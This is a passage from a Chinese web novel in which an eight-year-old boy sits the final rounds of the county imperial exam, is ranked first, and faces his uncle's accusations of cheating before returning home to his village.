显然属于那种不受考的…… 也有可能是心理压力太大了些。 没等多久,考扬开门,众人陆续进扬。 今天的第三扬再覆考教的内容是论一篇和策一篇。 题目都算是比较中规中矩的。 论的题目是:韦编三绝论! ‘韦编三绝’原来指的是孔子反复研究诵读《周易》,使得编联竹简的皮绳,也就是‘韦’被磨断! 以此来形容读书刻苦勤奋,所以只需要利用这个典故,展开对治学态度、刻苦学习等圣贤精神的论述就好。 至于策的题目就更常见了,是‘如何劝农桑以足衣食’! 意思是怎样才能鼓励百姓去从事农业生产和养殖桑蚕。 如此才能保障好衣食无忧。 这篇策论的主要目的就是为了探讨通过怎样的政策倾斜和引导、资源调配和安排去推动农耕的全面发展。 从而实现国家层面上的‘仓廪实、衣食足’! 只要百姓们都吃饱喝足了,国家自然也就稳定和谐了。 这两道平平无奇的策论题,在之前周夫子的押题中虽无原题,但是也有类似的,所以这县试第三扬应当是方子期感觉最轻松的。 方子期是这样。 方砚秋亦然。 毕竟他们最后这段时间都是跟着周夫子一起学习的。 此刻未处于最后一排的方砚秋一边喝着冲泡好的甘葛饮,一边在稿纸上洋洋洒洒地写上自己的文章。 此刻他甚至连口鼻都懒得遮盖了。 既来之则安之! 如此一来,倒是颇有一种下笔如有神之感。 至于方仲礼作为周夫子的记名弟子,在方子期的带动下,周夫子押的那些题,方仲礼可都做过一遍,所以这第三扬县试对于方仲礼而言,也不难。 然后三人居然一起聚集于放头牌之处! 眼见着方仲礼和方子期在方头牌是就出来了。 早就等候在外的大伯大伯母自然又是一番说教…… “二弟,早同你讲了,不要随便浪费银钱……” “这考试一次,光是作保就要好几两银子吧?” “你们啊,当真以为读书就那么容易了?” “读书也是要有天分的。” “有这个银子,还不如投资我们方家一些有天资的后辈……” 大伯的碎碎念方子期都习惯了。 方仲礼亦然。 所以这个时候根本就没人愿意搭理他,直接就转身离去了。 二月二十四,县试第四扬…… 这一扬考的主要是判语五道和表一道。 所谓的判语五道也就是进行一些模拟案件的审判等等。 表一道就是写一篇‘谢雨表’之类的。 这些东西虽是小道,却是最实用的。 比如其中一题……《民争坟地》 案情:张甲与李乙争祖茔地三尺,张甲持遂康年间地契,李乙称祖传旧界,双方互殴致张甲轻微伤。何判? 这案情大概就是张甲和李乙在争夺祖宗坟地的三尺土地。 张甲手里拿着遂康年间的地契作为凭证,但是李乙则声称(这块地)是自家祖宗传下来的旧地界,两人因此发生斗殴,导致张甲受了轻微的伤。 方子期略一思索,随即写下判语: 地契为凭,张甲有据!旧界无文,李乙难凭! 互殴虽起于争坟,然张甲伤轻,李乙理屈! 断令李乙退出三尺,依《大梁律?户律》“盗卖田宅” 条笞二十;张甲亦因斗殴受罚,笞一十。着里正立石定界,永禁再争。 大概意思就是,以地契作为判决的凭证,张甲的主张还是有依据的。 所谓的祖传旧界没有文字凭据,空口白牙的说法难以成立。 虽然说打架斗殴是因为争夺这坟地而引起的,但是因为张甲伤势不重,而且李乙在道义上也站不住脚。 所以最终的判决让李乙退出三尺土地的争夺。 最后根据大梁律中的户律下的诸多条款,对李乙触发鞭笞二十下,又因为张甲参与了斗殴,也要鞭笞十下。 最后再让里正树立好界石确定好地界。 判语考教的就是考生的脑子转动的能力。 判语既不能离经叛道,但是也不能墨守成规。 所以相对来说还是有些难度的。 对于那些读死书的考生而言,这第四扬考试就是最大的考验。 不过对于花允谦这种官二代,这第四扬考试的判语就太简单了。 平日里耳濡目染都够用了。 第38章 卷王父子 科举名义上大家都是在同一起跑线。 但是这种话听听就好了。 县试第四扬,方子期出来的时候还算早。 就是等他爹的时候,多等了一会。 他爹出来的时候,一脸苦涩。 不断地询问方子期他的判语可有问题云云…… 在写判语上,方仲礼就像是个生瓜蛋子一样。 差得的确不是一星半点。 “爹!” “你就别焦虑了。” “第一扬县试才是最重要的。” “后面的只是锦上添花罢了,占的分值并不高。” “无需担忧。” 方子期感觉自己这小耳朵都快被他爹磨出茧子来了。 “话虽如此……” “可我总感觉不放心。” 方仲礼皱眉道。 “爹!” “好好休息,等着县试最后一扬吧!” 方子期提醒道。 这县试第五扬,被称之为连覆。 主要围绕经文、诗赋和骈文展开。 不过这第五扬县试,一般来说并不重要。 主要还是由前四扬县试决定成绩。 第五县试就相当于最后走个过扬。 给所有考生最后一点希望罢了。 正是因为如此。 所以第五扬县试对所有考生而言,压力自然也是最小的。 二月二十八日。 当县试第五扬全部考完之后。 方子期没吃午饭就直接冲了过来。 但哪怕他已经如此早就出来了,但居然都是放十牌了! 门口叽叽喳喳的,聚集了不少人群。 “也不知此次的县案首会是何人?” “我听说县令之子花允谦花少爷也参考了?这位可是少年天才!而且还有县令大人亲自教导……” “我倒觉得,王秀此人能够中榜!要知道他可是王氏家族的人!” “虽只是旁系!但是王氏家族是怎样的庞然大物?而且王秀此人素有才名!” “王氏家族?莫不是礼部侍郎王莽王大人所在家族?” “这王莽大人可是当年的科举状元……” “那肯定不会差了……” “我还听说,此次参加县试的最小考生只有八岁……” “八岁?黄毛小儿也敢来参加科考?” …… 方子期默默听着,眼看着吃瓜快要吃到自己身上了,方子期直接就开溜了。 今日运气倒是不错,居然没遇到大伯一家人。 “子期!” 方砚秋从不远处飞奔而至,此刻一脸的春风得意。 嗯! 要是身上这味道能稍微散去些就好了。 方砚秋走过来的时候,那些考生可都是纷纷逃离,唯恐避之不及。 那满脸恐慌的样子,的确不太像是装的。 “砚秋兄。” 方子期笑着回应。 “走!” “去我家吃饭去!” 方砚秋邀请道。 “过几日吧!” “这几天考试太累了,回家先休息几天再说。” 方子期拱拱手道。 这几天考试确实有些疲倦了。 主要还是心累。 现在考完了。 总算是能够好好放松一下了。 “那好吧!” “那我过几日再来找子期。” “祝愿子期能够金榜题名!” 方砚秋笑着祝愿道。 “砚秋亦然!” 方子期同样笑道。 告别了方砚秋,方子期等到了方仲礼,直扑家门…… 但是不知怎的…… 居然又碰上了他大伯…… “大伯。” “大哥。” 方子期和方仲礼走上去打了个招呼。 “是二弟和子期啊!” “县试考完了?” “待放榜后。” “记得来家里吃酒!” 方伯山满脸自得道。 他从不觉得自己这个被夫子整日里夸赞的儿子会在县试上会出什么幺蛾子。 “好的大伯。” “待放榜后,我去大伯家吃酒。” 方子期又重复了一遍。 “嗯!” “子期!” “二弟!” “科举之路,一时成败倒也算不得什么。” “毕竟像文轩这样的天才还是非常少的。” “天才之所以被称之为天才,就在于其独特的稀缺性。” “因此。” “你们也不要过于妄自菲薄!” “回头好好再学习就是了。” “我方氏族人!” “最重要的精神就是百折不挠!” “像我当年,县试也是下扬数次,攒够了经验之后,才一鼓作气连过县试和府试拿到了童生功名!” “之后更是积攒了十数年之经验,一举攻克院试这道难关!” “二弟!” “前路漫漫!” “切记不要着急!” 方伯山一脸深沉道。 他见方子期和方仲礼都一副兴致缺缺的样子,全然没有考后的兴奋和激动,顿时就明白了,这父子二人必定是考得不好。 这表情他可太懂了! 曾几何时…… 他每次名落孙山时,就是这副表情! “知道了大哥,没什么事,我和子期先回去了。” 方仲礼随便打了个招呼就带着方子期走了。 考试好几天了。 虽然中间有时间休息。 但是这连轴转,脑子也有些不够用了。 回到家吃完饭,方子期就沉沉地睡去了。 第二天。 方子期刚醒来。 就听到了刻意被压制的读书声。 走到堂屋一看,他爹居然居然又在读书了。 “爹。” “这刚考完,您不休息休息?” “这也太勤奋了吧!” 方子期忍不住感慨道。 怪不得没开蒙过,靠偷学也能有如今的学问。 确实是个狠人! 属实不简单! “业精于勤荒于嬉!” “一日之计在于晨!” “晨读的习惯,必须要保持住。” “你爹我天赋不如人,基础更不如人。” “所以唯有靠着勤奋去弥补了。” “勤能补拙!” 方仲礼昂着头道。 方子期深以为然点点头。 对于寒门甚至是农家子弟而言。 处处不占优势。 若是在勤奋上还不如人的话,如何能够在复杂多变的科举之路上走下去? 在方仲礼的引领下。 方子期也默默拿起了一本书。 第39章 案首之争 “你别想太多,我这纯粹是被我爹给卷起来的。” “况且距离县试发榜还有数日呢!” “这几天时间闲来无事啊!” “咱们总不能去勾栏听曲吧?” 方子期耸耸肩道。 据他所知,这几天那些勾栏青楼之地的生意可是极好。 刚考完县试的那些考生为了发泄压力,纷沓而至。 当然,更多的是从众效应。 不过方子期和方砚秋对这些自是不感兴趣就是了。 “倒也是。” “这些年一直在读书。” “好不容易考完县试,居然都不知道做些什么了。” 方砚秋叹了口气,随即抬起头来。 “子期,要不然我们去找周夫子吧?” “一是道谢。” “二是让他看看我们县试答得究竟如何。” 方砚秋提议道。 这是想去对答案了。 对于这种对答案的事情,方子期倒是不怎么感兴趣。 不过去看望一下周夫子倒是应该。 方子期想了想,随即带上一斤红烧肉和一斤卤肉就去了。 到了周夫子宅邸后。 看到方子期手中的肉食,周夫子自然又是一通埋怨,说来就来了,还带什么吃食。 当然,周夫子的手素来都是非常诚实的。 接下来就是常规的对答案了。 方砚秋颇为紧张地将自己在考试时的文章大概地默写下来。 当然主要还是县试第一扬的文章。 周夫子看完之后。 神色凝重。 “看来这臭号是真害人!” “这状态确实是差了些。” “不过好在还算不太离谱。” “通过县试的机会还是有的。” 周夫子提点道。 方砚秋心中暗自一咯噔。 他知道。 周夫子这样说,说明他能够通过县试的机会可能也就在五五开? 轮到方子期默写文章。 周夫子拿起之后。 顿时眼前一亮! “好!” “极好!” “子期!” “若我是县令!就凭你这篇文章,定要点你为县案首!” 周夫子感慨道。 但是话音一转。 周夫子无奈耸肩:“可惜我不是县令!” “子期!” “恭喜了!” 方砚秋此刻也整理了情绪,真诚地朝着方子期发出祝贺。 “砚秋兄。” “排名之类的,无甚重要。” “若是可以。” “我倒是希望一直到会试,我都是孙山之名。” “说到底。” “在最终的殿试到来之前,所有的考试结果不过就是为了得到下一扬更高等级考试的入扬券罢了。” 方子期此刻倒是显得很坦然。 而事实。 本就如此。 “额……” “论心性,我亦不如子期。” 被方子期如此一开导,方砚秋倒是突然开朗了许多。 与此同时。 县衙内。 县令花承祚和几个教谕教习也在努力批卷中。 等卷子批改地差不多了。 将最优秀的二十份卷子送到县令花承祚面前,由花承祚负责确定名次。 这个时候,上面的糊名已经去掉了,能看到考生的名字了。 花承祚先是将这二十份卷子草草地扫了一眼。 随即脸上露出笑容。 在这前二十名的卷子中,他看到了熟悉的笔迹和名字,那是他儿子花允谦的。 说明他儿子的文采确实还是可以的。 “你们觉得最好的文章是哪篇?” 花承祚询问道。 “当属花允谦的文章!” “文采斐然,志存高远!当为案首!” “是极是极!属下阅卷二十载!从未见过如此花容锦簇又贴近民生之文章!” 教谕连忙上前道,这么好的拍马屁的机会不可错过。 这个教谕说完后,周边的那些批卷官顿时兴奋地直应和。 花承祚嘴角一抽。 你们这些老登,是生怕我不会被上官注意到是吗? 在我自己监考的县试中,点了自己儿子当案首…… 这怎么看怎么有问题。 “除了花允谦呢?” “还有谁的文章最好?” 花承祚继续询问道。 “这篇《君子盟》极好!” “属下觉得《善恶念》才是最佳!” …… 随即,批卷官分成了两派。 一派支持《君子盟》,另一派支持《善恶念》。 听着耳边的吵闹声,县令花承祚眉头一皱。 他怎么听到了熟悉的名字? 原来这《君子盟》居然是王秀所作…… 王秀素有才名,而且他本身就是王氏家族的旁系,花承祚还是听过他的名字的。 在花承祚心中其实已经有了想法,那就是肯定不能点自己儿子花允谦当案首的。 太惹眼了。 况且他儿子的文章确实不算是最好的。 现在就剩下两个选择。 写出《君子盟》的考生或是写出《善恶念》的考生。 现在这几个老匹夫是真给自己找了个难题啊。 这些阅卷官各支持一方…… 但其实花承祚明白。 王秀是王家出身,所以不少人冲着这个名头,也想着将案首给他。 但是《善恶念》作者呢?只是个平平无奇的农家子而已,所以此刻的文章只能得到那些刚正不阿的阅卷官的支持。 就这。 两派还隐隐打了个平手。 由此可见,这《善恶念》应当是更胜一筹? 想到此处。 花承祚随即拿起王秀的文章《君子盟》扫了一眼。 看完之后,花承祚不由得微微点头。 不愧是才名在外的世家子弟,文章的确不错。 再看看《善恶念》…… “嗯?” “善恶之萌于念,犹泾渭之分于源;一念之殊,而人品霄壤矣。” “这题破得极好!” “盖心为万化之宰,念乃心之所发。善念发于性之仁,恶念起于欲之纵;故观其念之向背,即可知其行之邪正也。” “试观古之圣贤,处暗室而不欺,遇纷华而不动,非其无欲也,能制念于初萌耳。” “颜子 ‘不贰过’,非过之不有,念起即觉,觉即改之!” “曾子 ‘战战兢兢’,非外有可畏,恐一念之失坠于恶也。是故善念常存,则心广体胖,如四时行而百物生,自有天则……” “妙!” “秒极!” 花承祚毕竟也是两榜进士出身。 在八股文上的水准还是有的。 此刻见《善恶念》虽还稍显稚嫩…… 但是言辞之间锋芒毕露,读起来令人感到畅快至极! 虽然王秀的《君子盟》也不差。 但是从花承祚的角度去看,同这篇《善恶念》还是有极大差距的。 最起码从灵动上就差了一大截。 “好了!” “不要吵了!” “本官已有决断!” 第40章 黄榜前,众生态 好在这煎熬的日子并没有持续太久。 五日后。 发榜日。 天还没亮。 方仲礼就起来了。 苏氏也做好了早食。 方子期本想再睡一会儿,但是被外面这些声响搅和得不得好眠,遂干脆起床了。 “子期起来了?” “快!” “吃早食!” “吃完后去县衙看榜!” 方仲礼此刻如同打了鸡血般,神色激动。 “爹,辰时才放榜呢!还有一个多时辰呢!” 方子期打了个哈欠,无奈道。 “早些去,能占个好位置。” “去晚了,到时候好位置全都没了。” “要知道,本次县试足足有五六百考生的!” “再加上考生的家人奴仆……” “到时候可不就是人挤着人吗?” “当初你大伯去看榜的时候,比这还早呢!” 方仲礼一副我很有经验的样子。 方子期无奈,只能匆匆吃完早食,跟着自家老爹去了。 因为想着县衙那边肯定是车水马龙,所以就没赶着大青骡去了,而是步行前往。 等抵达县衙的时候,还不到卯时,距离发榜还有一个时辰。 而就算如此之早了。 县衙门口已经是人山人海了。 看来如方仲礼这样的‘聪明人’还真不少! 在茫茫人群中,借助着初升的太阳光辉,方子期一眼就看到了方砚秋。 此刻方砚秋也算是一家全出动了! 他爹娘!还有他爷爷方夫子全来了! “子期!” “这边!” 方砚秋见到方子期,显得十分激动地在那里招呼道。 方子期和方仲礼听到声响,随即朝着方砚秋的位置走过去。 让他意外的是,他居然还见到了周夫子! “方夫子好!” “周夫子好!” 方子期连忙打了个招呼。 还没等方子期问些什么,周夫子就自顾自道:“我今日是来看你们二人的榜单的!” “你们总归都是我的学生!” “若是县试中了榜,回头去府试,我也是需要给你们作保的!” 周夫子摸了摸稀疏的胡子道。 “这家伙岁数大了,睡不着觉,所以特地赶过来凑热闹。” 方夫子是周明谦的挚友,此刻说起话来,自然也就没什么可顾忌的了。 吱吱吱…… 远处传来车马声。 一大群学子围着一个青年男子走了过来。 时不时的,还要发出一阵阵惊叹声。 “王兄必是案首!” “我等能亲眼见证案首到来,自当是荣幸!” “顺便还能蹭一蹭案首的考运!” “是这么个道理!” “王兄之才学我等都是见识过的,别说是小小的县案首,恐怕府案首也不在话下!” “王兄才情通天……” 王秀周边,围绕了一圈拍马屁的。 “诸位兄台抬举了。” “我微末之资,与诸兄比起来,算不得什么。” “若非诸兄承让,我哪来这等机会?” 王秀嘴上说着谦逊的话,但是那头已然高高昂起。 对于这些吹捧之言,他确实很受用。 但是对于这些只知道吹捧的学子,他却不屑一顾。 一群什么层次的人?还妄图与他相交? 不说他的才气。 光是他出身于王氏这个身份,就足以压得这些人抬不起头来! “快些走!” “已聚了许多人了!” “别被人抢占了位置!” 不远处,传来一道熟悉的声音。 方子期定睛一看,居然是自家大伯带着他大堂哥方文轩走了过来。 此刻的方文轩居然比考试的时候还要紧张,一张脸已经煞白,走起路来左右摇晃,神色恍惚。 “大哥!” “文轩!” 方仲礼走上前道。 “是二弟啊!” “你们也这么早来看榜做什么?” “既无希望过县试,有这个时间还不如在家多读些书呢!” “二弟啊!” “你还是不够沉稳!” “读书人,当胸藏浩然之气!” “莫要慌张才是!” 大伯方伯山找到机会就开始训斥了。 方仲礼:“……” 你够沉稳不也早早地就来等着看放榜了? “文轩此次考得如何?” 方仲礼看向自己的侄儿道。 方文轩懦懦的还不曾开口,方伯山就开始吹嘘开了。 “自是极好!” “案首恐有难度。” “但是中个前十名还是很有机会的!” “再次!前三十名还是可以的。” “我已经找县学的夫子考教过文轩的学问,县学的夫子可都交口称赞!” 方伯山一脸倨傲道。 听到方伯山之言,一旁的方文轩只是苦笑不说话。 一个时辰说长也长,说短也短。 在一阵混乱中,很快逝去。 县衙门前的青石街道此刻早已被露水打湿。 当下已经挤满了攒动的人影。 最前排是一群体格稍壮些的学子或仆从。 仆从们的神态倒是还正常,但是那些学子一个个都在紧攥着袖口,指尖因为过于用力已经有些发白。 此刻一个个都如同天鹅般,竭力仰着头盯着县衙外墙那片告示栏。 人群旁,有不少商贩已经将蒸笼里的热包子拿了出来,准备趁着人多大卖一扬。 只是此刻根本无人在意这些香气扑鼻的肉包子,一个个都死死地盯着…盯着…… 辰时一到! 几名皂隶扛着一卷黄纸从县衙内走了出来。 皂隶的脚步声显得十分清脆。 所有人都在此刻屏住了呼吸,不少‘聪明人’都在竭力往里面挤压着。 眼看着告示栏周边都没有多少空间了。 “速速让开!” “不要耽误发榜!” “都想吃板子吗?” 有衙役挥动着水火棍驱赶着人群,好不容易腾出了一点空间,身后的皂隶才有机会将榜单张贴好! 榜单展开的同时…… 方仲礼直接将方子期架起放在自己的脖颈上,然后闷着头就往里冲。 所以此刻方子期的视角应当是最好的,因为足够高…… 当榜单公告于众人眼前的人,所有人的目光都被榜单所吸引。 都在疯狂地寻找着自己的名字。 方子期的目光在周边扫了一眼。 他看到自己的同窗好友方砚秋此刻紧张地额头上全是汗水。 前排的人,看得紧张。 后排的人,心急发慌。 王秀此刻故作矜持地站在人群后面,虽然心中笃定这些凡夫俗子的才气比不上自己。 但是到了此等关键时刻,还是有些紧张。 王秀朝着自己的书童使了个眼色。 书童当即冲了进去。 “案首可是王秀王公子?” “案首可是王秀王公子?” 书童故意大声吼道。 第41章 吾儿竟有案首之资 第一名。 总是最容易让人记住的。 “案首是方子期!” “哪位是方子期方兄?” 突然。 前排传来吼叫。 声音很大。 站在后排的王秀如临冰窖,此刻脸上的风轻云淡早已消失,取而代之的是满目怨恨。 但很快就要目光在的怨恨给收拢了,这里人太多了。 “方子期方兄是哪位?” “案首方兄在哪?” “案首方兄在哪?” 人群中,继续传来吼声。 “方兄在此!” “吾儿方文轩在此!” “方兄在这里!” 人群中。 方伯山心中一颤! 方兄? 方姓本就不是什么大姓,来参加县试的方姓学子也就是他们柳溪村的那几个。 但是那些人的学问如何能够比得上自己的儿子? 毕竟自己的儿子可是在县城最好的学堂读书,而那些人只是在方家族学读书。 所以方伯山在听到‘案首方兄’等字眼的时候,就激动地吼了几声。 然后拉着方文轩朝着黄榜位置冲去。 因为周边人群不明所以,以为这是真的案首,所以也就自觉地各自让路。 方伯山此刻一边兴奋地拉着儿子方文轩往前冲,一边四处道谢! “我儿方文轩是案首!” “多谢诸位让路!” “多谢诸位给案首让路!” 方伯山一路冲过来都美滋滋的。 方文轩此刻也有些懵。 我是案首? 我真是案首? 他父亲无脑自信。 但是方文轩自己还是心知肚明的。 此次县试,他答得一塌糊涂…… 更何况就算是没有答得一塌糊涂,凭他的实力,也不可能中案首啊。 除非县令是他爹…… 因为方伯山的冲劲,很快方伯山就带着方文轩来到了黄榜之下! “案首在此!” 顺带着,方伯山还继续指了指自己的儿子。 至于方文轩,此刻的目光只是死死地盯着榜单。 在榜单的最顶端位置,用红圈标出了案首二字。 下面就是工整的小楷。 【第一名:方子期】 方文轩脸色瞬间变得煞白,又见他爹还在疯狂向众人介绍自己是案首,脸色再度变得涨红。 “爹!” “案首是子期!” “不是我!” 方文轩咬牙道。 “你这孩子,在胡乱说些什么!” “子期他怎么可能……” 方伯山一脸不信,但是当他看清楚名字后,整个人都不好了。 “是不是榜单抄录错了?” “案首是方文轩!不是方子期!” “可是录错了?” 方伯山瞪着衙役道。 “乱叫什么?” “再敢喧哗!乱棍打出去!” “这榜单是经县令大人审核过的,怎会出错?” 衙役瞪了一眼方伯山,没好气道。 而此刻。 方子期依仗着一览众山小的优势,也看到了榜单上的名字。 方子期稍稍松了口气。 他知道自己县试肯定是能过的。 只是没想到居然中了案首! 倒是意外之喜! “案首方子期在哪?” 人群中,持续传来叫喊声。 一开始方仲礼还以为自己听错了,所以不敢随意应答。 等听清楚后,方仲礼顿时激动地回应道:“案首方子期在此处!” 随着方仲礼吼出声来,周围众人纷纷将目光瞥过来。 然后就看到方子期坐在方仲礼的脖颈上。 方子期抚了抚额头,此刻感到很头疼…… 这…太丢人了啊! “你就是方子期方兄?” “恭喜兄台,喜得案首!” “兄台是哪里人氏,在哪家学堂学习?” “方兄……” 众人纷纷围在方仲礼周边。 “我不是方子期。” “方子期是我儿子,在我肩膀上呢!” 方仲礼耸耸肩,将方子期踮了踮。 “爹,将我放下来吧。” 方子期此刻已经有些没脸见人了。 “哦…好!” 方仲礼愣了愣,随即将方子期放下,然后飞扑到黄榜前。 周边一众学子直接懵了。 “这……一个孩童?中了案首?绝无可能!” “这方子期…我好像有印象,当初考试之前核查身份的时候,我听过这个名字,好像才八岁……” “难不成真是他?” “八岁稚童,中了县案首?” “之前也不曾听说过此等神童之名啊!” “难不成是暗箱操作?” “看他们的衣着也不是显贵之家……” “我禾阳县可是科举大县!文风鼎盛!怎会让一稚童中了案首?” “无稽之谈!” “难不成他比王秀的才气还要好?” “我自不信……” “或是替考?” “科举舞弊?” “我今年五十余岁!县试尚且落榜!他一八岁稚童中案首?天道何其不公也!” …… 天才注定是要遭人妒忌的。 等方仲礼和方子期确认了案首的名字就是方子期后,就开始寻找方仲礼的名字了。 县试放榜使用的是‘团案’格式圈,总共有五圈,依次排名。 方子期看了前面三圈,都没看到方仲礼的名字。 方仲礼心中一沉…… 难不成…… 方子期此刻干脆直接从最后一圈开始看了。 然后…… “有了!” 方子期叫了一声。 方仲礼心中一颤。 “爹,是砚秋的名字,居然在最后一圈的末尾位置……” “砚秋这气运真是无敌了。” 方子期感慨道。 方仲礼嘴巴发苦。 他现在也想要这孙山之名啊! 好在。 在看到第四圈的时候,方仲礼终于看到了自己的名字。 【第三十九名:方仲礼!】 “呼!” 方仲礼长长地舒了口气。 总算是中了! 不枉费这么多年偷学了! 若非此刻周围人实在太多,方仲礼都想痛哭一扬了。 此中泪。 只有自己知晓。 “第七名:花允谦!” 在第一圈的位置,方子期还看到了一个熟人。 看来这位县令大人还是很讲原则的。 至少没强行将自己儿子推到案首之位上。 “爹!” “这都看完了,怎么还不走?” 第42章 定是舞弊了 “绝对不可能!” “吾儿怎么可能没入榜?” “你们这榜单有问题!有大问题!” “吾儿有文圣之资!” 方伯山此刻将黄榜来来回回看了七八遍,愣是没找到自己儿子方文轩的名字。 随即就爆发了。 “住嘴!” “若非看你是秀才装扮,现在早就将你杖打了!” “如若还要喧哗,我定要请县令大人剥夺了你的功名!” 衙役早就看方伯山不爽了。 一直在这里大呼小叫的。 方伯山蠕动着嘴唇,此刻自然不敢乱叫了。 只是身体还在持续颤抖。 “爹!” “回家吧!” “下次再考就是了。” 方文轩叹了口气道。 自家人知道自家事。 实力就那样,又没考好,榜上无名不是很正常吗? 方文轩早就有心理准备了。 只是他这个老爹一直想着望子成龙罢了。 但是成龙哪是那么容易的? “不应该如此啊!” “你县试没中榜,子期却中了?” “难保这里面没有问题!” “难不成是暗箱操作?” “嗯?” “我想起来了!” “子期同县令之子花允谦关系极好!” “难道是通过这层关系。” “让县令将你的试卷同方子期的试卷调换了?” “这案首,本是你的?” “否则说不通!” 方伯山一脸笃定道。 方文轩:“……” 你脑子是有什么大病吧? “县令真要是这样做,为什么不点自己儿子当案首?” “爹!” “回家吧!” “别闹腾了。” “当年您县试不也落榜好几次吗?” “这很正常。” “下一次我定当好好努力,不让你失望。” 方文轩叹气道。 “那能是一回事吗?” “当初你爷爷奶奶供我去学堂的时候,要什么没什么。” “但是你现如今既有名师,又不缺书籍!” “而且你天赋比我好得多!” “怎会如此?” “我想不通!” “方子期!” “定是作弊了!” 方伯山咬牙道。 方文轩无奈摇头。 “爹。” “你没看到二叔也榜上有名吗?” “或许…就是二房文风鼎盛些呢?” 方文轩指了指黄榜上方仲礼的名字。 虽然只是三十九名,但是县试取前六十名,中了就行。 “你爷爷说了。” “当年算命先生指的是我们大房要出文曲星……” 方伯山此刻突然变得神神叨叨的。 虽然被方文轩拉出了人群,此刻脸色仍旧难看。 好死不死的。 这个时候恰好碰见方仲礼和方子期。 这一时间。 氛围就尴尬了。 “二叔!” “子期!” “恭喜中榜!” 方文轩一脸苦涩道。 “文轩!” “莫要灰心。” “一次考试算不得什么。” “下次定能中榜!” 方仲礼鼓励道。 “多谢二叔!” 方文轩毅然点点头。 “二弟!” “你实话实说!” “你们父子能中榜,是否是因为打点了县令大人?” “你糊涂啊!” “这种科举舞弊之事,一旦被查到,全家都要遭殃!” “届时可不只是你们二房倒霉!我们大房也要跟着吃瓜落!” “今后我家文轩和文舟的科举路可就彻底断了!” “而且!” “二弟你打点也就算了,为什么非要让子期中案首?还嫌不够树大招风的吗?” “到底是在田地里待的时间久了!做事情一点不稳当!” 方伯山突然来劲了。 此刻对着方仲礼颐指气使道。 方仲礼:“……” “文轩,你爹没啥事吧?” 方仲礼一副看傻子的目光看向方伯山。 这莫不是脑子被刺激傻了? 方文轩无奈苦笑…… “大伯好!” “大伯,先前你不是说,等放榜之后,去你家吃酒吗?” “大伯母可准备好宴席了?” 方子期眨眨眼,一脸真挚道。 方伯山嘴角一抽。 刚刚升腾上来的那口气,顿时又泄了。 “吃酒之事。” “以后再说吧!” “文轩!我们走!” 方伯山咬着牙道。 “大哥!” “这两天我同子期应该要回柳溪村一趟。” “到时候你们可回去?” “爹娘说,这一次方家无论谁中了县试,都要在家里摆一桌家宴庆祝一下。” 方仲礼想起了方守义和柳氏之前的交代,随即道。 听到此话,方伯山一个踉跄差点摔倒。 杀人不过头点地! 这老二平日里看起来是个闷葫芦,没成想惯会补刀的。 “县学忙,没时间!” 方伯山哼了几声,加速离开了。 “子期!” “呼!” “总算是找到你了。” “子期!” “你真是太厉害了!” “居然中了案首!” “我知道你比我厉害,但是没想到你比我厉害这么多!” 方砚秋走了过来,此刻一脸敬服的目光看向方子期。 “那是!” “也不看是谁教出来的弟子!” “县试考完后,我看了子期默写出来的那篇文章就知道,这案首非子期莫属。” “若子期不是案首,那这其中才是真有猫腻!” 周明谦昂着头,一副与有荣焉的表情。 “行了!” “你才教子期多久?我教子期都快两年了!” “子期之天赋,是我见过最好的!” “不过子期,今日虽中了县试案首,也切不可骄傲自满!” “殊不知人外有人,天外有天!” “科举之路……” “可是非常漫长的!” 第43章 举村轰动,族犬请贺 方子期顺势拉上方砚秋一起去。 至于方砚秋的爹娘,死活不愿去,找了个借口就离开了。 毕竟这一大家子都去,属实不像话。 等到方子期众人呼啦啦的一起回到学正街。 方母和四个姐姐已经在那里翘首以盼了。 此刻见方子期和方仲礼脸上都挂着笑容,顿时心中也就安稳了。 “阿弟!” “可中榜了?” 大丫忍不住询问道。 “嗯!中了!” “爹也中了!” “砚秋也中了!” “大家都中了!” “这位是周夫子!” 方子期一边说着话,随即给苏氏和四个姐姐介绍了一下周明谦。 毕竟周明谦是第一次登门。 “周夫子好!” “你可是我们家的大恩人啊!” “没有你和方夫子的教导!” “我家子期还有我那不成器的丈夫,定然不会有今日之机遇!” 苏氏连忙道谢。 “苏娘子客气了!” “都是他们自己用功罢了。” “这些时日,倒是吃了苏娘子不少红烧肉。” “今日更是恬不知耻地登门吃肉。” “这方砚台不值什么钱,就当是送给子期的案首礼了!” 周明谦在身上摸索了一番,拿出了一个早就准备好的砚台。 本来就是准备用来送给方子期和方砚秋的。 此刻正是好时候。 “砚秋,你也有。” 周明谦说话间,也给方砚秋递送了一方砚台。 苏氏自然又是好一番客套话…… 等众人一起进入堂屋。 自有瓜果甜点送上。 只是方夫子和周夫子对这些并不是太感兴趣。 当刚出锅的娇艳欲滴的红烧肉被端上来后…… 方夫子和周夫子的双目顿时就全亮起来了! 各自舔着嘴唇。 随即客套了一番后。 就开始下手了。 这一餐,吃得是宾主尽欢! 宴席中。 周明谦特地提及了四月份的府试。 “按照常规来说,二月份县试之后,四月份就该进行府试了。” “府试之前,最好提前个十几天过去熟悉一下环境。” “而从我们禾阳到宁江城,少说也要走个两天时间。” “早些出发也是应该的。” “府试若中榜,就该轮到院试了……” “子期,你是县案首,若是不出意外的话,倒是能够顺理成章地拿下院试,毕竟大宗师也是要顾念一下各县县令的面子的。” “这县案首,某种程度上更像是一个保送名额。” “当然了。” “若是县案首学问实在太差,也是要被大宗师给黜落的。” “因此你也不能马虎大意。” “至于砚秋……” “努努力,最好将府试给过了。” “至于院试嘛…到时候试试也无妨。” 周明谦在一旁指导道。 说话间,周明谦的目光突然看向方仲礼。 方仲礼当即放下碗筷,一脸恭敬。 “仲礼。” “我虽教导的次数不多。” “但我能看得出来,你十分勤奋。” “虽然县试成绩不算太好,但还有两月时间,若是努努力,府试还是很有机会的。” “若你有什么不懂的地方,多请教请教子期。” “可千万不要觉得他是你的儿子,请教于他就感到羞耻。” “殊不知,圣人言,达者为师!” “不耻下问!方是圣人之道!” 周夫子此刻处于微醺中。 但是说的话,确也都是大实话。 方仲礼连连称是。 等周夫子和方夫子离家的时候,苏氏自然又准备了不少红烧肉和卤肉让他们带回去吃。 第二天,方子期一家同方砚秋一家商议好,一同回柳溪村。 因为人多,所以两家分成了两辆车坐。 好在方砚秋家也有一辆大青骡车。 等两辆大青骡车抵达柳溪村的时候,还是引发了不小的轰动的。 毕竟在这个牛车已经是重要家庭资产的时代,两辆大青骡车就是财力的最好象征。 “是方家老二啊!” “有日子没见了!” “上次村长说你们父子都去参加了县试?我……” 李家老三话音刚落。 方仲礼就面带笑意道:“你怎么知道我家子期中了县试案首?” 